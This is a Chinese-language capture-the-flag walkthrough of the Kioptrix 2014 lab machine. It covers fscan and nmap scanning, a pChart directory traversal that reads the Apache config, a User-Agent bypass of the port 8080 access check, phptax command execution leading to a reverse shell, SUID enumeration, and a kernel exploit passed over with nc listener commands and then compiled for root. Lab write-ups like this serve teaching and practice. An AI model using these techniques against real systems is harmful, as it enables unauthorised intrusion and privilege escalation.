Kioptrix 2014
信息搜集
本次的信息搜集,尝试使用内网大杀器,适合横向移动
fscan粗略扫描
GitHub - shadow1ng/fscan: 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
注意,这个靶机不会接受icmp协议,所以我就起初fscan扫描的时候没有发现靶机,用kali攻击nmap的syn扫描成功发现靶机。(亏我以为是那个靶机和主机连接不上找了会问题,突然发现主机也能访问靶机80端口)
fscan parameter
-c string
ssh命令执行
-cookie string
设置cookie
-debug int
多久没响应,就打印当前进度(default 60)
-domain string
smb爆破模块时,设置域名
-h string
目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hf string
读取文件中的目标
-hn string
扫描时,要跳过的ip: -hn 192.168.1.1/24
-m string
设置扫描模式: -m ssh (default "all")
-no
扫描结果不保存到文件中
-nobr
跳过sql、ftp、ssh等的密码爆破
-nopoc
跳过web poc扫描
-np
跳过存活探测
-num int
web poc 发包速率 (default 20)
-o string
扫描结果保存到哪 (default "result.txt")
-p string
设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-pa string
新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
-path string
fcgi、smb romote file path
-ping
使用ping代替icmp进行存活探测
-pn string
扫描时要跳过的端口,as: -pn 445
-pocname string
指定web poc的模糊名字, -pocname weblogic
-proxy string
设置代理, -proxy http://127.0.0.1:8080
-user string
指定爆破时的用户名
-userf string
指定爆破时的用户名文件
-pwd string
指定爆破时的密码
-pwdf string
指定爆破时的密码文件
-rf string
指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
-rs string
redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
-silent
静默扫描,适合cs扫描时不回显
-sshkey string
ssh连接时,指定ssh私钥
-t int
扫描线程 (default 600)
-time int
端口扫描超时时间 (default 3)
-u string
指定Url扫描
-uf string
指定Url文件扫描
-wt int
web访问超时时间 (default 5)
-pocpath string
指定poc路径
-usera string
在原有用户字典基础上,新增新用户
-pwda string
在原有密码字典基础上,增加新密码
-socks5
指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080)
-sc
指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)
fcan扫描结果。
nmap详细扫描
得到的信息比较少,比较没有详细的端口服务信息,nmap补上。
nmap -A 192.168.126.136 -p 22,80,8080 -oN Nmap_result/service2014
-A的扫描相当于-sV -sC -O 但扫描会更加详细,更慢也跟容易暴露
namp -sV -sC -O -p 22,80,111,443,631,1018,3306 -pn -oN namp_result/service.txt
扫描发现这次的系统是unix的FreeBSD系统,这就意味着,文件存储位置以及相应命令可能不同。
https://zh.wikipedia.org/zh-hans/FreeBSD
nmap --script=vuln 192.168.126.136 -oN Nmap_result/2014Vuln_info
web目录扫描
没有找到什么有价值的信息。
漏洞探测
这里只有80和8080端口,我们就只能从网站渗透入手了。
初探web8080端口
403bypass尝试
这里拒绝了我们的访问,所我们没有权限访问这个服务器,它的鉴权机制会是什么呢,如果是本地地址鉴权我们可以考虑添加xff头referer头等方式绕过。
这里把这个插件拉满了再加上bp的403bypass插件都没有绕过,看80端口。
web80端口
pChart读取apache配置文件
pChart这个服务可能存在漏洞,pChart是php的图形库。
拼接地址进入如下页面。
searchsploit发现2.13正好有漏洞,下载下来看看。
发现有可能存在目录遍历,xss,时间披露。只有目录遍历有一些价值。
确实存在这个漏洞。
搜索一下apache FreeBSD dir config 这些关键词获取到apache配置
再探8080端口 phptax反弹shell
再配置文件中找到了关键设置,要我们的ua如上浏览器.
通过User-Agent Switcher这个谷歌浏览器插件将我们的ua修改。
searchsploit查找phptax漏洞,发现命令执行漏洞。
成功执行。
使用hack-tools里面的payload成功反弹shell
内网信息搜集
查看内核信息
uname -a
查看用户组
查看是否有sudo权限
sudo -l
查看计划任务
查看suid权限
以下命令可以发现系统上运行的所有 SUID 可执行文件。更具体地说,这些命令是尝试在用户 root 拥有的具有 SUID 权限位的目录中查找文件,然后将所有其重定向到 /dev/null 以便仅列出用户有权访问的二进制文件使用权。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -perm -u=s -type f 2>/dev/null
在这个网站可以查询该suid命令是否可以利用,如果可以利用会给出利用方法。
查看已经启用的服务
netstat -aux
有mysql,但我们没有ttyshell,无法进入。
查看已经安装的软件包
pkg_info | less
这里可以看到有perl,php,mysql,wget没有也代表了我们想要wget下载也不可以了,只能用nc传递文件。suid没有可以的提权。
权限提升-内核+nc传文件
在计划任务,suid,ssh提取无果后我们尝试内核提权,用nc传递。
nc -lvp 4444 < 26368.c
cd /tmp
输入攻击机的ip和端口
nc -nv 192.168.126.233 4444 >/tmp/2.c
gcc /tmp/2.c
./a.out
getflag
总结:
在主机发现的时候,直接使用fscan扫描没有发现靶机(靶机禁用icmp协议),且fscan除非单独对没有发现的主机单独扫描,否则不会对没有回应icmp包的主机使用其他方式主机发现服务扫描。
本靶机的渗透点为80和8080这两个web端口,80端口有目录穿越漏洞,在有ssh服务的情况下对/etc/shadow和我/etc/passwd进行读取也是一种方法。本靶机我读取了apache的配置文件,知道了8080端口的鉴权机制,从而找到了后续rce利用点进行反弹shell。
在进行二次信息搜集时,因为nc反弹的shell不是标准shell的原因,很多命令没有回显,同时想登录mysql服务等操作也无法进行。如果靶机有python环境可以尝试获取ttyshell,方便进行后面的测试。在二次信息搜集时,系统内核,当前用户id所属组,系统安装包,计划任务,当前开启的服务,suid文件都是很重要的信息。在没有错误回显的反弹shell环境中while命令及其重要,如果该命令存在,可以返回路径。我以此知道了没有wget有nc。并使用nc进行文件传输